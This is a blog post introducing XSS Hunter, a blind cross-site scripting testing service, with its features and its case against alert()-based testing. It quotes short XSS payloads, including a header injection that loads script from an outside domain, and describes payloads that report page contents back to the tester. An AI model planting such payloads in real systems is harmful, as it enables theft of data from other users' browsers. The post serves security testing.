XSS Hunter – A Modern Approach to Testing for Cross-site Scripting (XSS)
Cross-site Scripting (XSS) origins go (arguably) back to a lab in Microsoft in 1999. With the first disclosure of the issue titled “Malicious HTML Tags Embedded in Client Web Requests“, this research sparked an entire generation of an attack that somehow still seems to persist in modern web applications today. Despite this vulnerability being well-known and high impact, the testing methodologies for this issue seem to be the same as ever. How can this be?
alert(‘Testing for XSS this way is antiquated’);
It is bizarre that when you search for “how to test for XSS” almost every resource mentions the use of <script>alert(‘XSS’)</script> for finding XSS vulnerabilities. This is perhaps the most limited approach to finding a cross-site scripting vulnerabilities for a few reasons.
The first is that it makes the assumption that the tester/attacker will be the one who triggers the XSS vulnerability. This is just not the case. XSS can traverse multiple services and even entire protocols before it fires. For example, you may inject an XSS payload into the header of a service which itself is not vulnerable but makes use of a logging system which is. If the logging system records the header and reflects it into a log analysis web page insecurely, you’d never know because you have no notice of the payload firing. One proof of concept for this vulnerability is a XSS vulnerability that was found in https://hackertarget.com which was accomplished by setting the WHOIS information of https://thehackerblog.com to a blind XSS payload. By a blind payload, I mean a payload which, upon firing, will collect information about the vulnerable page and report it to the tester/attacker. This is just a single example of how an XSS vulnerability can propagate from one protocol to another. Due to this ability of XSS, the tester/attack must use payloads that alert them of the fire, regardless of who’s browser it fires in.
*This vulnerability was fixed very shortly after I reported to the site owners.
The second is that unless each payload is unique/tagged, there is no way to ascertain which injection attempt caused the payload to fire. This becomes especially important when a XSS vulnerability fires days, months, or even years after it has been injected. As discussed above this is made more complicated when a payload hops multiple services and fires on something like an internal administrative panel. Given just the payload fire you only know the state of the web page that it fired on and nothing about which input caused the problem. With an ideal testing tool you would have unique XSS payloads for each input/injection attempt so that upon the payload firing you can correlate the payload with the injection attempt originally made. For example, if an input of User-Agent: <script src=//x.xss.ht></script> on example.com was used but the payload fired on logging.example.com – how would you determine which request caused this issue? This becomes even more important when having a network of services in which one service will store data that many services draw from (basically, a poisoned well).
XSS Hunter – A New Service for Finding Cross-site Scripting
After reviewing many XSS testing services I found them to not address all of the requirements of the “ideal” XSS testing tool as described above. Some of the solutions I reviewed specifically include SleepPuppy, Burp, and BeEF. While testing out SleepPuppy, I found that the software was not stable enough for my use as it would often silently not report fired payloads – a deal-breaking issue in my opinion. Sleepy Puppy also lacked the ability to perform correlated injections as well and does not appear to be an active project at this time. Burp offered correlated injections but the probes were not long lived and the scope of payload fire information collection was too minimal for adequate reporting.
After evaluating these services I built XSS Hunter to fill in the need that I had for a powerful XSS testing service. The following is a short list of features which I have built into the service (so far):
- Blind Cross-site Scripting (XSS) Vulnerability Detection – One of the major features that XSS Hunter offers is the ability to find blind XSS. This is a vulnerability where an XSS payload fires in another user’s browser (such as an administrative panel, support system, or logging application) which you cannot “see” (e.g. it does not fire in your browser). XSS Hunter addresses this by recording extensive information about each payload fire in its database. This includes information such as the vulnerable page’s URL, HTML, referrer, etc. as well as a screenshot of the page generated using the HTML5 canvas API.
- XSS Payload Fire Correlation – As discussed above, having the ability to correlate XSS payload injections with XSS payload fires is incredibly important. XSS Hunter offers an API for this functionality and I’ve already written a mitmproxy extension which can be used in web application security testing. The short of this functionality is that if an XSS Hunter compatible testing tool is used then the generated report will contain the responsible injection request.
- Automatic Markdown/Email Report Generation – One of the worst parts of finding any vulnerability is the inevitable reporting stage that comes shortly afterwards. Whether this is filing a HackerOne submission for bug bounty hunters or forwarding a report to a third party it’s always a pain. XSS Hunter fixes this by automatically generating markdown and email reports which can be easily submitted/forwarded to the appropriate contact.
- Short Domains for XSS Payloads – Often one of limiting factors of exploiting a Cross-site Scripting vulnerability is the issue of a length-limed field. For example, if a first name field has a length limit of 35 characters then the actual payload would have to make use a pretty short domain. Since the standard <script src=//></script> takes up 24 of those characters we don’t have much left over for the actual domain portion. XSS Hunter addresses this by allowing users to host their payloads on a custom subdomain of the short domain xss.ht.
- Automatic Payload Generation – The XSS Hunter service also provides a payloads page which automatically generates multiple XSS payloads for use in web application security testing. This is mainly for the evasion of common XSS blacklisting methodologies. Please note that these payloads are not tagged and will not result in a correlated injection upon payload fire. For automatically generated payloads that are tagged and will be correlated, see the XSS Hunter compatible mitmproxy extension here.
- Relative Path Collection Upon Payload Fire – Upon an XSS payload firing in a new web application, a penetration tester may wish to check other pages for vulnerabilities or for further information on the service. For this reason XSS Hunter includes built-in support for automatically retrieving pages via XMLHTTPRequest upon the payload firing. Some examples of interest files to collect upon your payload firing would be /crossdomain.xml, /robots.txt, and /clientaccesspolicy.xml. This is also a great way to show clients the danger of XSS.
- Client-Side PGP Encryption – For especially paranoid situations where the vulnerability must be kept secret from everyone but the final recipient, PGP encryption is supported. XSS Hunter achieves this by allowing users to supply a PGP public key which will be used to encrypt the vulnerability details in the victim’s browser upon the payload firing. The encrypted injection data is then passed through XSS Hunter’s servers encrypted before being delivered to the owner’s email address where it can then be decrypted with the owner’s private key. Please note that many of XSS Hunter’s features are no longer made available in this mode (since they would affect the privacy of this feature).
- Highly Compatible JavaScript Payloads – Another important attribute of this service is the necessity for the payloads to always report their fires no matter what the end execution environment is. Building a failure-resistant payload as well as testing payloads in antiquated browsers was specifically researched and implemented in the creation of the service.
- XSS Testing in Minutes With Minimal Setup – Setting up a blind-XSS tool is a fairly lengthy process due to the setting up of the software, server, and SSL certificates. XSS Hunter allows you to claim a subdomain of the main xss.ht testing domain which allows you to begin using the service in minutes (with HTTPS support that uses HTTP Strict Transport Security and is HTTPS Preloaded).
- It’s Completely Free! – This is a free service that anyone can use. I pay for all of the services costs out of pocket and will continue to, cost/time forbidding.
I hope I’ve made a strong case for this service. Due to this service being very effective at finding XSS vulnerabilities en-mass (as the following blog posts will show) I’ve decided to run it in invite-only mode for the first few months of operation (after an ethics conversation with a blue teamer I respect). I’ll be giving out invites to anyone with an ethical purpose for using the service (security teams, bug bounty hunters with a good history, etc). If you’d like an invite use the “Contact Us” form on the website or contact me via Twitter.
